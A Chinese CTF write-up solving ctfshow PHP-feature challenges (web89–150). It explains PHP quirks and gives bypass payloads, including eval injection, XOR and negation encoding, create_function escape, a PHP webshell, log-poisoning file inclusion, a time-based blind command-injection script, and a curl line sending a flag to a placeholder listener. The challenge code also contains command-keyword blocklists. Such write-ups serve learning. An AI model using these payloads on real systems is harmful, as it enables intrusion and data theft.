ctfshow PHP特性

前面的部分有的图片没有成功上传图床所以并不全

web89

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

由于preg_match()只能处理字符串,当传入的是数组时将会返回false,从而绕过死亡函数。

web90

===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等

web91

/i表示匹配大小写,/m表示多行匹配,/s 匹配任何空白字符,包括空格、制表符、换页符等等。

字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true,否则返回false

web94

PHP strpos() 函数:查找某字符串在整个字符串中第一次出现的位置

web97

1
2
3
4
5
6
7
8
9
10
11
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5强比较:利用md5函数处理数组类型会返回false的特性,从而利用false=false来绕过

[BJDCTF 2020]easy_md5

sql注入但需绕过后端md5的检测

ffifdyop绕过, md5函数在指定了true的时候,是返回的原始 16 字符二进制格式。

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是’ or ‘6

后面用数组绕过就行

web99

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

web100

PHP里面 =的优先级是比and优先级高的

and or&& ||区别就是优先级不同前者的在=后面,后者在=前面

web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

在程序运行中,对于任意的一个类,【通过反射类都能够知道这个类的属性和方法】

通过反射类可以获取 【对象的命名空间,对象的名字等】

根据提示,flag已在class类中,因此:

1
?v1=1&v2=echo new ReflectionClass&v3=;

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

image-20230105170920986

科学计数法绕过(115044383959474e6864434171594473)(<?=cat *;)

hex2bin利用call_user_func()

1
2
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin

web103

同web102

web104

sha1()函数无法处理数组类型,会返回NULL,if条件就成立了

或者

1
2
3
4
5
6
aaK1STfY

0e76658526655756207688271159624026011393
aaO8zKZF

0e89257456677279068558073954252716165668

web105

php变量覆盖漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

在对于GET的循环中,由$$key=$$value;得到$suces=$flag;在对于POST的循环中,同样可以得到$error=$suces,那么有$error=$flag,从而die($flag);输出flag。

1
2
GET: ?suces=flag
POST: ?error=suces

web106

sha1考点,上面有

web107

PHP parse_str() 函数:把查询字符串解析到变量中

image-20230105213142982

v1、v3都为空数组即可

web108

ereg()函数存在NULL截断漏洞

%00截断正则匹配,格式化字符不会当作数字被url解析

1
?c=a%00778

web109

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>
1
v1=ReflectionClass&v2=system('ls')

__toString():当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。

PHP5.2.0之前,__toString() 方法只在使用 echo 或 print 时才生效。PHP5.2.0之后,可以在任何字符串环境生效。

不少php的内置类里都包含有这个方法,如ReflectionclassExceptionError

echo使得$v1类触发__toString(),传递的参数v2会被输出。

对于v2后面的括号:只要变量后面紧跟着(),那么对这个变量进行函数调用。

如可以让返回值是phpinfo,就可以调用phpinfo()

web110

php原生类

1
http://c777d70e-1cee-4db9-9d32-bcbed2454002.challenge.ctf.show/?v1=FilesystemIterator&v2=getcwd

利用 FilesystemIterator 获取指定目录下的所有文件,FilesystemIterator继承父类DirectoryIterator的_toString方法

getcwd()函数 获取当前工作目录 返回当前工作目录

web111

看到两个$,变量覆盖

用$v2去覆盖$v1的值

v1的值为ctfshow,将$v1覆盖为GLOBALS,配合var_dump可以返回全局作用域中可用的全部变量

flag作为全局变量会被带出来

1
http://84567e21-dee0-4bf8-be50-dcf58764d719.challenge.ctf.show/?v1=ctfshow&v2=GLOBALS

web112

伪协议绕过检测

1
php://filter/resource=flag.php

web113

zlib伪协议

1
http://47126220-82d8-4d30-8511-5af68172ae05.challenge.ctf.show/?file=compress.zlib://flag.php

web114

同112

web115

%0c绕过trim函数的限制同时因为==和!==的判断标准不同因此可以成立

web123

post用引用的方式传参,但是在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

web125

1
CTF_SHOW=1&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())

使用get_defined_vars()代替GLOBALS

web126

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

过滤了部分字母,使用if条件输出flag

这里须知$_SERVER和parse_str()的用法

1
2
3
4
5
6
7
8
9
10
11
12
13
1、cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

$_SERVER[‘QUERY_STRING’]用于查询字符串

parse_str()把查询字符串解析到变量(extract() 函数从数组中将变量导入到当前的符号表。也可以起到变量覆盖的作用

parse_str()给变量赋值,在这里是给数组a的第2个赋值,
且数组是以空格来划分,这里就用+来代替空格,
可以实现把变量fl0g值覆盖为flag_give_me

1
http://69309a51-ef74-4426-b613-5a34ec121105.challenge.ctf.show/?z=1+fl0g=flag_give_me
1
CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])

web127

空格就能绕过(?

web128

用到gettext这个php扩展

在开启该拓展后 _() 等效于 gettext()

1
2
3
var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));

get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

web129

1
http://c2c0ba88-efa5-48b3-b530-a08a30bdb38b.challenge.ctf.show/?f=/ctfshow/../../../var/www/html/flag.php

目录穿越

web130-131

1
2
3
4
5
6
7
import requests
url = "http://0a35c93d-1b1c-4c5d-b551-c9813d6dae06.challenge.ctf.show/"
data = {
'f': 'a'*1000000+'36Dctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

web133

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

传递参数本身实现变量的覆盖从而绕过截断函数的限制

curl是一种命令行工具,作用是发出网络请求,然后获取数据,显示在”标准输出“上。

curl -f将flag文件上传到Brup Suite的Collaborator Client(类似于DNSLOG),其功能要比DNSLOG强大,主要体现在可以查看POST请求以及打Cookies
查看网页源码:直接在curl命令后面加上网址 例如curl www.baidu.com

如果要把这个网页保存下来,可以使用-o参数 例如curl -o 【文件名】 www.baidu.com

发送表单信息:

GET方式相对简单,只要把数据附在网址后面就行

POST方式必须要把数据和网址分开,curl就要用到–data或者是-d参数;例如 curl -X POST –data “data=xxx” www.xxx.com (不加-X默认是GET方式 -X可以指定请求方式)

curl带到外面用nc监听

1
?F=`$F`;+curl http://xxxx:2333/`cat f*|grep ctfshow`;

image-20230129134442774

web134

我感觉看的extract()就应该想变量覆盖

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

parse_str配合extract可以把查询的post写进变量实现覆盖

$_SERVER[‘QUERY_STRING’]是查询url后面的参数,因此以get形式传递

1
http://a2aa8587-a351-47ca-b6df-41b8405965b6.challenge.ctf.show/?_POST[key1]=36d&_POST[key2]=36d

web135

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

原来还可以直接nl写入进去,这样其实133也可以这么做

1
?F=`$F `;nl f*>123

web136

image-20230129135125938

还是写入文件,使用tee命令

1
2
c=ls /|tee 1233
c=cat /f149_15_h3r3|tee 12332

web137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}



call_user_func($_POST['ctfshow']);

羽师傅:

1
2
3
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

双冒号可以不用实例化类就可以直接调用类中的方法

1
ctfshow=ctfshow::getFlag

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

call_user_func中不但可以传字符串也可以传数组

过滤了冒号,传输组

1
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

ban了mkdir,没法写

bash盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t
from urllib.parse import quote as urlen
url = 'http://85abd7bc-8396-47d1-81d7-a10e92331e33.challenge.ctf.show/?c='
alphabet = ['{','}', '.','/','@','-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = ''
for i in range(1,100):
for char in alphabet:
# payload = "if [ ` ls / | awk 'NR==4' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
payload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
# data = {'cmd':payload}
try:
start = int(t.time())
r = requests.get(url+payload)
# r = requests.post(url, data=data)
end = int(t.time()) - start
# print(i,char)
if end >= 3:
result += char
print("Flag: "+result)
break
except Exception as e:
print(e)

web140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

php松散比较

image-20230129145544747

eg:

1
2
3
4
5
6
7
<?php
echo 'abc' == 0 ? '相等' : '不相等';//相等
echo '1abc' == 1 ? '相等' : '不相等';//相等
echo 'abc1' == 1 ? '相等' : '不相等';//不相等
echo md5('240610708') == md5('QNKCDZO') ? '相等' : '不相等';//相等
echo "0x1e240"=="123456" ? '相等' : '不相等';//相等
?>

参考

intval会将非数字字符转换为0

这里md5(phpinfo())为什么页面还会返回探针,不太懂,难道说eval是先执行内层再执行外层函数?

web141

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

需要绕过return

在v3两边加上-可以绕过return同时不妨碍命令的执行

image-20230129154405726

取反绕过匹配的限制!!!!!

1
v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-

web142

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

传个0没什么好说的

web143

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

可以用乘号和异或代替

1
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%00"^"%7f%60%60%20%2a")*

web144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

v3长度只能是1,但是解除了对v2的限制

1
v1=1&v3=-&v2=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)

web145

三目运算符使得payload成立

1
eval("return 1?phpinfo():1;");

可以执行phpinfo()

1
v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1

web146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

可以使用位运算符|和取反绕过

1
v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%D5)|

web147

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

creat_function,之前一次比赛见过一次

1
2
3
4
5
6
7
create_function('$a','echo $a."123"')

类似于

function f($a) {
echo $a."123";
}

因此往第二个参数后面加某些东西可以实现逃逸

就是这样

1
2
3
4
function f($a) {
echo 1;}phpinfo();//
}
从而执行phpinfo()命令

image-20230129174857650

1
2
get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function

为什么加%5c?

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

web148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

xor:

1
http://a8fc069a-a114-4c42-bfb1-0527f5aa1ead.challenge.ctf.show/?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%02"^"%7d%60%60%21%28");

之前一直异或不出来,后来发现是编译器的问题qwq

web149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

image-20230129190348555

file_put_contents的用法👆

直接往里面写

1
2
?ctf=index.php
show=<?php @eval($_POST['1']); ?>

web150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

include()这里想办法包含进去

这题不太懂,先放这里,是利用日志文件进行一句话木马并成功包含的

image-20230129220917556

先到index.php改user-agent为一句话木马让日志记录再包含日志文件写入木马

1
2
?isVIP=true
ctf=/var/log/nginx/access.log&1=phpinfo();

web150+

这题不允许包含日志文件了

需要注意__autoload()函数不是类里面的

1
2
3
4
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo

flag在环境变量里